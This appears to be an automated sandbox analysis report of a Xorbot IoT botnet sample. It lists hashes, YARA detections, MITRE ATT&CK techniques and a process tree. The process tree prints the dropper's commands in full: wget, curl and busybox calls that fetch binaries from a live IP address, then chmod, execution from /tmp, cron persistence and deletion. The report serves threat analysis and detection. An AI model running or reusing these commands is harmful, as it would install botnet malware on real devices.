xorbot | 32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e

Analysis

max time kernel
150s
max time network
137s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
01-12-2024 06:27

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General

Target

bins.sh
Size

10KB
MD5

3ec05170856171325b0751f5ea6d0ce2
SHA1

1d4812ade6ba446cda12ccab01c5cf5f56d59f0d
SHA256

32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e
SHA512

8581e8589806b577e6557e6ac83d77de355039ff8fc99fb11c60d9eccb8af27ccb6b5fe89f690a87d8d7ca0bcc67788d024594da0e8c8d008b9e3a7033c34b2f
SSDEEP

96:8diayTnIZxJKu8fwckvve4VwaUUQ2c8XUQ2kgGdiayTnfZxfwckvvo48OPEZxJKU:86fwckvve4OaUUQUUQ8wckvvN8

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-8.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmod

pid	Process
740	chmod
747	chmod
851	chmod
903	chmod
927	chmod

Executes dropped EXE 5 IoCs

Processes:

znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQGQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdYsCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v

ioc	pid	Process
/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	741	znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
/tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8	748	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
/tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY	853	WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
/tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL	904	sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
/tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v	928	7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v

Renames itself 1 IoCs

Processes:

GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8

pid	Process
749	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.3757S4	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8

description	ioc	Process
File opened for reading	/proc/885/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/14/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/23/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/229/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/374/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/707/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/821/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/337/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/879/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/13/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/76/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/802/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/806/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/876/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/70/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/146/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/774/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/787/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/781/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/151/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/809/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/833/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/863/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/923/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/931/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/21/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/22/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/69/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/770/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/815/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/917/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/77/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/804/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/828/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/17/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/735/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/812/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/935/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/930/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/772/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/893/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/908/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/786/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/808/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/753/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/760/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/775/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/820/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/884/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/934/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/105/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/755/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/773/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/829/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/864/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/2/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/824/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/843/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/959/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/814/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/819/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/848/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/850/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
File opened for reading	/proc/859/cmdline	GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxbusyboxbusyboxbusyboxcurlbusyboxwgetwget

description	ioc	Process
File opened for modification	/tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8	curl
File opened for modification	/tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8	busybox
File opened for modification	/tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY	busybox
File opened for modification	/tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL	busybox
File opened for modification	/tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v	busybox
File opened for modification	/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	curl
File opened for modification	/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	busybox
File opened for modification	/tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8	wget
File opened for modification	/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  ./znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
  2⤵
  PID:743
- /usr/bin/wget
  wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
  ./GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:748
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:750
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:751
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:752
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:753
- /bin/rm
  rm GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
  2⤵
  PID:755
- /usr/bin/wget
  wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
  2⤵
  PID:838
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
  2⤵
  PID:843
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
  2⤵
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod 777 WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
  ./WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY
  2⤵
  PID:856
- /usr/bin/wget
  wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
  2⤵
  PID:859
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
  2⤵
  - Writes file to tmp directory
  PID:861
- /bin/chmod
  chmod 777 sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
  ./sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL
  2⤵
  PID:908
- /usr/bin/wget
  wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
  2⤵
  PID:913
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
  2⤵
  - Writes file to tmp directory
  PID:925
- /bin/chmod
  chmod 777 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
  ./7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm 7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v
  2⤵
  PID:930
- /usr/bin/wget
  wget http://216.126.231.240/bins/TWo8yMnDFH0Wx4XSdl15B8N9vDjoIuw8s6
  2⤵
  PID:931

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/7ynZRd2YvwR44l0z9QFYAzv6EpNEUs0P2v

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/WMbftHyJv7x0w36tPLAj6jct3BbwjmRfdY

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/sCH0xU1YczVKWJVpRMZeABASUR0yrrsEbL

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.3757S4

Filesize
210B

MD5
480fc6c479f49d7d564cda76ca9ef157

SHA1
69b2b8ca22ae30a819c2e6a843dd216080423627

SHA256
66571d6a3014459ef018e539904994d73550c3a1c46a4a9fa7ec70171209adc2

SHA512
1ed5758b2f087071f60fe0c590d750e517b26e019e7b19ac83e1d22acc1954f896a2074d2514100d285add1e3d3023774e48e12dfa6b662f64e6c6b625cc4b16

Download Submit